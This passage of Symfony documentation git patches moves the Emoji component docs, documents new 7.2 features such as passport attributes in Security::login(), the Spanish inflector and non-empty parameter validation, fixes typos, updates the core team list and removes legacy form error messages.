+    {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #}
+    {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
+
+Removing Emojis
+~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
+via the special ``strip`` locale::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/string.rst b/string.rst
index 5e18cfcaea3..702e9344880 100644
--- a/string.rst
+++ b/string.rst
@@ -507,177 +507,6 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
-.. _working-with-emojis:
-
-Working with Emojis
--------------------
-
-.. versionadded:: 7.1
-
-    The emoji component was introduced in Symfony 7.1.
-
-Symfony provides several utilities to work with emoji characters and sequences
-from the `Unicode CLDR dataset`_. They are available via the Emoji component,
-which you must first install in your application:
-
-.. code-block:: terminal
-
-    $ composer require symfony/emoji
-
-.. include:: /components/require_autoload.rst.inc
-
-The data needed to store the transliteration of all emojis (~5,000) into all
-languages take a considerable disk space.
-
-If you need to save disk space (e.g. because you deploy to some service with tight
-size constraints), run this command (e.g. as an automated script after ``composer install``)
-to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
-
-.. code-block:: terminal
-
-    # adjust the path to the 'compress' binary based on your application installation
-    $ php ./vendor/symfony/emoji/Resources/bin/compress
-
-.. _string-emoji-transliteration:
-
-Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~
-
-The ``EmojiTransliterator`` class offers a way to translate emojis into their
-textual representation in all languages based on the `Unicode CLDR dataset`_::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    // Describe emojis in English
-    $transliterator = EmojiTransliterator::create('en');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with pizza or spaghetti'
-
-    // Describe emojis in Ukrainian
-    $transliterator = EmojiTransliterator::create('uk');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with піца or спагеті'
-
-Transliterating Emoji Text Short Codes
-......................................
-
-Services like GitHub and Slack allows to include emojis in your messages using
-text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
-
-Symfony also provides a feature to transliterate emojis into short codes and vice
-versa. The short codes are slightly different on each service, so you must pass
-the name of the service as an argument when creating the transliterator:
-
-GitHub Emoji Short Codes Transliteration
-########################################
-
-Convert emojis to GitHub short codes with the ``emoji-github`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-github');
-    $transliterator->transliterate('Teenage 🐢 really love 🍕');
-    // => 'Teenage :turtle: really love :pizza:'
-
-Convert GitHub short codes to emojis with the ``github-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('github-emoji');
-    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
-    // => 'Teenage 🐢 really love 🍕'
-
-Gitlab Emoji Short Codes Transliteration
-########################################
-
-Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-gitlab');
-    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
-    // => 'Breakfast with :kiwi: or :milk:'
-
-Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('gitlab-emoji');
-    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
-    // => 'Breakfast with 🥝 or 🥛'
-
-Slack Emoji Short Codes Transliteration
-#######################################
-
-Convert emojis to Slack short codes with the ``emoji-slack`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-slack');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-Convert Slack short codes to emojis with the ``slack-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('slack-emoji');
-    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
-    // => 'Menus with 🥗 or 🧆'
-
-.. _string-text-emoji:
-
-Universal Emoji Short Codes Transliteration
-###########################################
-
-If you don't know which service was used to generate the short codes, you can use
-the ``text-emoji`` locale, which combines all codes from all services::
-
-    $transliterator = EmojiTransliterator::create('text-emoji');
-
-    // Github short codes
-    $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
-    // Gitlab short codes
-    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
-    // Slack short codes
-    $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
-
-    // all the above examples produce the same result:
-    // => 'Breakfast with 🥝 or 🥛'
-
-You can convert emojis to short codes with the ``emoji-text`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-text');
-    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
-    // => 'Breakfast with :kiwifruit: or :milk-glass:
-
-Inverse Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 7.1
-
-    The inverse emoji transliteration was introduced in Symfony 7.1.
-
-Given the textual representation of an emoji, you can reverse it back to get the
-actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
-
-.. code-block:: twig
-
-    {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #}
-    {{ 'I like :kiwi:'|emojify }}       {# renders: I like 🥝 #}
-    {{ 'I like :kiwifruit:'|emojify }}  {# renders: I like 🥝 #}
-
-By default, ``emojify`` uses the :ref:`text catalog <string-text-emoji>`, which
-merges the emoji text codes of all services. If you prefer, you can select a
-specific catalog to use:
-
-.. code-block:: twig
-
-    {{ 'I :green-heart: this'|emojify }}                  {# renders: I 💚 this #}
-    {{ ':green_salad: is nice'|emojify('slack') }}        {# renders: 🥗 is nice #}
-    {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #}
-    {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
-
-Removing Emojis
-~~~~~~~~~~~~~~~
-
-The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
-via the special ``strip`` locale::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    $transliterator = EmojiTransliterator::create('strip');
-    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
-    // => 'Hey! Happy Birthday!'
-
 .. _string-slugger:
 
 Slugger
@@ -752,7 +581,7 @@ the injected slugger is the same as the request locale::
 Slug Emojis
 ~~~~~~~~~~~
 
-You can also combine the :ref:`emoji transliterator <string-emoji-transliteration>`
+You can also combine the :ref:`emoji transliterator <emoji-transliteration>`
 with the slugger to transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
@@ -822,4 +651,3 @@ possible to determine a unique singular/plural form for the given word.
 .. _`Code points`: https://en.wikipedia.org/wiki/Code_point
 .. _`Grapheme clusters`: https://en.wikipedia.org/wiki/Grapheme
 .. _`Unicode equivalence`: https://en.wikipedia.org/wiki/Unicode_equivalence
-.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr

From add4600eab9d96b52a44eae81f35904c45e23e92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 17:31:06 +0200
Subject: [PATCH 6380/7107] Minor tweaks

---
 emoji.rst | 50 ++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 40 insertions(+), 10 deletions(-)

diff --git a/emoji.rst b/emoji.rst
index ba6ca38ed73..551497f0c76 100644
--- a/emoji.rst
+++ b/emoji.rst
@@ -32,7 +32,7 @@ to compress the internal Symfony emoji data files using the PHP ``zlib`` extensi
 .. _emoji-transliteration:
 
 Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~
+---------------------
 
 The ``EmojiTransliterator`` class offers a way to translate emojis into their
 textual representation in all languages based on the `Unicode CLDR dataset`_::
@@ -49,11 +49,13 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
     $transliterator->transliterate('Menus with 🍕 or 🍝');
     // => 'Menus with піца or спагеті'
 
-You can also combine the ``EmojiTransliterator`` with the :ref:`slugger <string-slugger-emoji>`
-to transform any emojis into their textual representation.
+.. tip::
+
+    When using the :ref:`slugger <string-slugger>` from the String component,
+    you can combine it with the ``EmojiTransliterator`` to :ref:`slugify emojis <string-slugger-emoji>`.
 
 Transliterating Emoji Text Short Codes
-......................................
+--------------------------------------
 
 Services like GitHub and Slack allows to include emojis in your messages using
 text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
@@ -62,6 +64,9 @@ Symfony also provides a feature to transliterate emojis into short codes and vic
 versa. The short codes are slightly different on each service, so you must pass
 the name of the service as an argument when creating the transliterator.
 
+GitHub Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Convert emojis to GitHub short codes with the ``emoji-github`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-github');
@@ -74,15 +79,40 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale::
     $transliterator->transliterate('Teenage :turtle: really love :pizza:');
     // => 'Teenage 🐢 really love 🍕'
 
-.. note::
+Gitlab Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-gitlab');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwi: or :milk:'
+
+Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('gitlab-emoji');
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // => 'Breakfast with 🥝 or 🥛'
+
+Slack Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Convert emojis to Slack short codes with the ``emoji-slack`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+Convert Slack short codes to emojis with the ``slack-emoji`` locale::
 
-    Github, Gitlab and Slack are currently available services in
-    ``EmojiTransliterator``.
+    $transliterator = EmojiTransliterator::create('slack-emoji');
+    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
+    // => 'Menus with 🥗 or 🧆'
 
 .. _text-emoji:
 
 Universal Emoji Short Codes Transliteration
-###########################################
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you don't know which service was used to generate the short codes, you can use
 the ``text-emoji`` locale, which combines all codes from all services::
@@ -106,7 +136,7 @@ You can convert emojis to short codes with the ``emoji-text`` locale::
     // => 'Breakfast with :kiwifruit: or :milk-glass:
 
 Inverse Emoji Transliteration
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------------------------
 
 Given the textual representation of an emoji, you can reverse it back to get the
 actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
@@ -129,7 +159,7 @@ specific catalog to use:
     {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
 
 Removing Emojis
-~~~~~~~~~~~~~~~
+---------------
 
 The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
 via the special ``strip`` locale::

From 7815198fe2e3b58229650e022cd8c89cb53c1568 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 17:33:25 +0200
Subject: [PATCH 6381/7107] [String] Added a message about the moved Emoji docs

---
 string.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/string.rst b/string.rst
index 702e9344880..667dcd06010 100644
--- a/string.rst
+++ b/string.rst
@@ -507,6 +507,11 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
+Working with Emojis
+-------------------
+
+These contents have been moved to the :doc:`Emoji component docs </emoji>`.
+
 .. _string-slugger:
 
 Slugger

From 7573d4a1211c81ae08d2ca26df5311322c45bb0b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Sep 2024 10:11:30 +0200
Subject: [PATCH 6382/7107] [Security] Allow passport attributes in
 `Security::login()`

---
 security.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index a8aa652a222..51ee9b5c3fb 100644
--- a/security.rst
+++ b/security.rst
@@ -1767,9 +1767,12 @@ You can log in a user programmatically using the ``login()`` method of the
             // you can also log in on a different firewall...
             $security->login($user, 'form_login', 'other_firewall');
 
-            // ...and add badges
+            // ... add badges...
             $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()]);
 
+            // ... and also add passport attributes
+            $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()], ['referer' => 'https://oauth.example.com']);
+
             // use the redirection logic applied to regular login
             $redirectResponse = $security->login($user);
             return $redirectResponse;
@@ -1779,6 +1782,12 @@ You can log in a user programmatically using the ``login()`` method of the
         }
     }
 
+.. versionadded:: 7.2
+
+    The support for passport attributes in the
+    :method:`Symfony\\Bundle\\SecurityBundle\\Security::login` method was
+    introduced in Symfony 7.2.
+
 .. _security-logging-out:
 
 Logging Out

From 56ab079c3a467a1349e4aeda51eb108581e707ce Mon Sep 17 00:00:00 2001
From: Simo Heinonen <simo@dudgeon.fi>
Date: Thu, 19 Sep 2024 16:48:18 +0300
Subject: [PATCH 6383/7107] Update value_resolver.rst

---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 3e888793c15..ed0b856b442 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -106,7 +106,7 @@ Symfony ships with the following value resolvers in the
     .. tip::
 
         The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`.
-        This. gives your full control over the date and time values the controller
+        This gives your full control over the date and time values the controller
         receives when testing your application and using the
         :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 

From c2b0315c54237723d2f0d1d0984e309217e96c85 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 19 Sep 2024 22:38:22 +0200
Subject: [PATCH 6384/7107] Update controller/value_resolver.rst

Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com>
---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index ed0b856b442..08ba5f3eb72 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -106,7 +106,7 @@ Symfony ships with the following value resolvers in the
     .. tip::
 
         The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`.
-        This gives your full control over the date and time values the controller
+        This gives you full control over the date and time values the controller
         receives when testing your application and using the
         :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 

From b0a91ce7a24f40b52d6732d32fc1dad28043a964 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 09:00:51 +0200
Subject: [PATCH 6385/7107] [String] Document the Spanish inflector

---
 string.rst | 23 ++++++++++++++++++++---
 1 file changed, 20 insertions(+), 3 deletions(-)

diff --git a/string.rst b/string.rst
index f2856976986..cb822e1dbd1 100644
--- a/string.rst
+++ b/string.rst
@@ -820,11 +820,28 @@ class to convert English words from/to singular/plural with confidence::
 The value returned by both methods is always an array because sometimes it's not
 possible to determine a unique singular/plural form for the given word.
 
+Symfony also provides inflectors for other languages::
+
+    use Symfony\Component\String\Inflector\FrenchInflector;
+
+    $inflector = new FrenchInflector();
+    $result = $inflector->singularize('souris'); // ['souris']
+    $result = $inflector->pluralize('hôpital');  // ['hôpitaux']
+
+    use Symfony\Component\String\Inflector\SpanishInflector;
+
+    $inflector = new SpanishInflector();
+    $result = $inflector->singularize('aviones'); // ['avión']
+    $result = $inflector->pluralize('miércoles'); // ['miércoles']
+
+.. versionadded:: 7.2
+
+    The ``SpanishInflector`` class was introduced in Symfony 7.2.
+
 .. note::
 
-    Symfony also provides a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
-    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` if
-    you need to implement your own inflector.
+    Symfony provides a :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface`
+    in case you need to implement your own inflector.
 
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII
 .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode

From 3983e81d511ced672866601c191f4ec780492634 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 20 Sep 2024 16:59:19 +0200
Subject: [PATCH 6386/7107] fix typo

---
 string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/string.rst b/string.rst
index da82791c740..37f64bc4f3b 100644
--- a/string.rst
+++ b/string.rst
@@ -674,7 +674,7 @@ Symfony also provides inflectors for other languages::
 
 .. note::
 
-    Symfony provides a :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface`
+    Symfony provides an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface`
     in case you need to implement your own inflector.
 
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII

From 58350a556c35b5d989b722ba15ebb07fcad7430e Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 21 Sep 2024 07:52:43 +0200
Subject: [PATCH 6387/7107] Move some core team members to the former core
 members section

---
 contributing/code/core_team.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 0a2324b08a3..efc60894c7c 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -50,19 +50,16 @@ Active Core Members
   * **Nicolas Grekas** (`nicolas-grekas`_);
   * **Christophe Coevoet** (`stof`_);
   * **Christian Flothmann** (`xabbuh`_);
-  * **Tobias Schultze** (`Tobion`_);
   * **Kévin Dunglas** (`dunglas`_);
   * **Javier Eguiluz** (`javiereguiluz`_);
   * **Grégoire Pineau** (`lyrixx`_);
   * **Ryan Weaver** (`weaverryan`_);
   * **Robin Chalas** (`chalasr`_);
-  * **Maxime Steinhausser** (`ogizanagi`_);
   * **Yonel Ceruto** (`yceruto`_);
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
-  * **Titouan Galopin** (`tgalopin`_);
   * **Oskar Stark** (`OskarStark`_);
   * **Thomas Calvet** (`fancyweb`_);
   * **Mathieu Santostefano** (`welcomattic`_);
@@ -72,7 +69,6 @@ Active Core Members
 * **Security Team** (``@symfony/security`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
-  * **Michael Cullum** (`michaelcullum`_);
   * **Jérémy Derussé** (`jderusse`_).
 
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
@@ -97,7 +93,11 @@ Symfony contributions:
 * **Lukas Kahwe Smith** (`lsmith77`_);
 * **Jules Pietri** (`HeahDude`_);
 * **Jakub Zalas** (`jakzal`_);
-* **Samuel Rozé** (`sroze`_).
+* **Samuel Rozé** (`sroze`_);
+* **Tobias Schultze** (`Tobion`_);
+* **Maxime Steinhausser** (`ogizanagi`_);
+* **Titouan Galopin** (`tgalopin`_);
+* **Michael Cullum** (`michaelcullum`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 19ee7d29930b86c8589ae4b67ce4ef2b9116b657 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=BCrgen?= <juukie@users.noreply.github.com>
Date: Sat, 21 Sep 2024 22:29:02 +0200
Subject: [PATCH 6388/7107] Fix typo filename

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index eef0433a3c8..ff7a60d441b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1434,7 +1434,7 @@ Let's say you have the following functional interface::
 You also have a service that defines many methods and one of them is the same
 ``format()`` method of the previous interface::
 
-    // src/Service/MessageFormatterInterface.php
+    // src/Service/MessageUtils.php
     namespace App\Service;
 
     class MessageUtils

From fdda76fe73d83158eba51bbff5798ddd38ccf1ef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Sep 2024 12:41:59 +0200
Subject: [PATCH 6389/7107] [FrameworkBundle] Document the `resolve-env-vars`
 option of `lint:container` command

---
 service_container.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 9e1cdff2098..f329587eb54 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1069,6 +1069,14 @@ application to production (e.g. in your continuous integration server):
 
     $ php bin/console lint:container
 
+    # optionally, you can force the resolution of environment variables;
+    # the command will fail if any of those environment variables are missing
+    $ php bin/console lint:container --resolve-env-vars
+
+.. versionadded:: 7.2
+
+    The ``--resolve-env-vars`` option was introduced in Symfony 7.2.
+
 Performing those checks whenever the container is compiled can hurt performance.
 That's why they are implemented in :doc:`compiler passes </service_container/compiler_passes>`
 called ``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass``, which are

From a78ff470d7019a3cbf550ed3a7412340e18992e7 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Sun, 22 Sep 2024 11:34:16 -0400
Subject: [PATCH 6390/7107] documenting non-empty parameters

---
 configuration.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 36dceae1b71..52dc9b98c95 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -382,6 +382,25 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
     They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
+Configuration parameters are usually validation-free, but you can ensure that
+essential parameters for your application's functionality are not empty::
+
+    // ContainerBuilder
+    $container->parameterCannotBeEmpty('app.private_key', 'Did you forget to configure a non-empty value for "app.private_key" parameter?');
+
+If a non-empty parameter is ``null``, an empty string ``''``, or an empty array ``[]``,
+Symfony will throw an exception with the custom error message when attempting to
+retrieve the value of this parameter.
+
+.. versionadded:: 7.2
+
+    Validating non-empty parameters was introduced in Symfony 7.2.
+
+.. note::
+
+    Please note that this validation will *only* occur if a non-empty parameter value
+    is retrieved; otherwise, no exception will be thrown.
+
 .. seealso::
 
     Later in this article you can read how to

From 5cbf3c07d77357fcfdc46827b9e4b23d4c5fce59 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Sep 2024 10:38:44 +0200
Subject: [PATCH 6391/7107] [Form] Remove a broken link

---
 reference/forms/types/search.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e38021bc461..32db9b3eccb 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -4,8 +4,6 @@ SearchType Field
 This renders an ``<input type="search">`` field, which is a text box with
 special functionality supported by some browsers.
 
-Read about the input search field at `DiveIntoHTML5.info`_
-
 +---------------------------+----------------------------------------------------------------------+
 | Rendered as               | ``input search`` field                                               |
 +---------------------------+----------------------------------------------------------------------+
@@ -65,5 +63,3 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. include:: /reference/forms/types/options/trim.rst.inc
-
-.. _`DiveIntoHTML5.info`: http://diveintohtml5.info/forms.html#type-search

From 6516a9b4bcd72535bc566686284596b4b85a082d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 24 Sep 2024 10:49:35 +0200
Subject: [PATCH 6392/7107] form/remove-legacy-message

---
 reference/forms/types/birthday.rst     | 2 --
 reference/forms/types/checkbox.rst     | 2 --
 reference/forms/types/choice.rst       | 2 --
 reference/forms/types/collection.rst   | 2 --
 reference/forms/types/color.rst        | 2 --
 reference/forms/types/country.rst      | 2 --
 reference/forms/types/currency.rst     | 2 --
 reference/forms/types/date.rst         | 2 --
 reference/forms/types/dateinterval.rst | 2 --
 reference/forms/types/datetime.rst     | 2 --
 reference/forms/types/email.rst        | 2 --
 reference/forms/types/enum.rst         | 2 --
 reference/forms/types/file.rst         | 2 --
 reference/forms/types/form.rst         | 2 --
 reference/forms/types/hidden.rst       | 2 --
 reference/forms/types/integer.rst      | 2 --
 reference/forms/types/language.rst     | 2 --
 reference/forms/types/locale.rst       | 2 --
 reference/forms/types/money.rst        | 2 --
 reference/forms/types/number.rst       | 2 --
 reference/forms/types/password.rst     | 2 --
 reference/forms/types/percent.rst      | 2 --
 reference/forms/types/radio.rst        | 2 --
 reference/forms/types/range.rst        | 2 --
 reference/forms/types/repeated.rst     | 2 --
 reference/forms/types/search.rst       | 2 --
 reference/forms/types/tel.rst          | 2 --
 reference/forms/types/time.rst         | 2 --
 reference/forms/types/timezone.rst     | 2 --
 reference/forms/types/ulid.rst         | 2 --
 reference/forms/types/url.rst          | 2 --
 reference/forms/types/uuid.rst         | 2 --
 reference/forms/types/week.rst         | 2 --
 33 files changed, 66 deletions(-)

diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 2098d3cfb89..383dbf890f2 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -19,8 +19,6 @@ option defaults to 120 years ago to the current year.
 +---------------------------+-------------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid birthdate.                                               |
 +---------------------------+-------------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                           |
-+---------------------------+-------------------------------------------------------------------------------+
 | Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
 +---------------------------+-------------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index 472d6f84024..2299220c5b6 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -13,8 +13,6 @@ if you want to handle submitted values like "0" or "false").
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The checkbox has an invalid value.                                     |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 0b250b799da..55f2d016001 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -11,8 +11,6 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` |
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index acb110fd722..c5fee42f06c 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -16,8 +16,6 @@ that is passed as the collection type field data.
 +---------------------------+--------------------------------------------------------------------------+
 | Default invalid message   | The collection is invalid.                                               |
 +---------------------------+--------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                      |
-+---------------------------+--------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
 +---------------------------+--------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` |
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 1a320b9bdbf..b205127fb91 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -16,8 +16,6 @@ element.
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid color.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 8913e639f23..d841461b2f5 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -20,8 +20,6 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please select a valid country.                                        |
 +---------------------------+-----------------------------------------------------------------------+
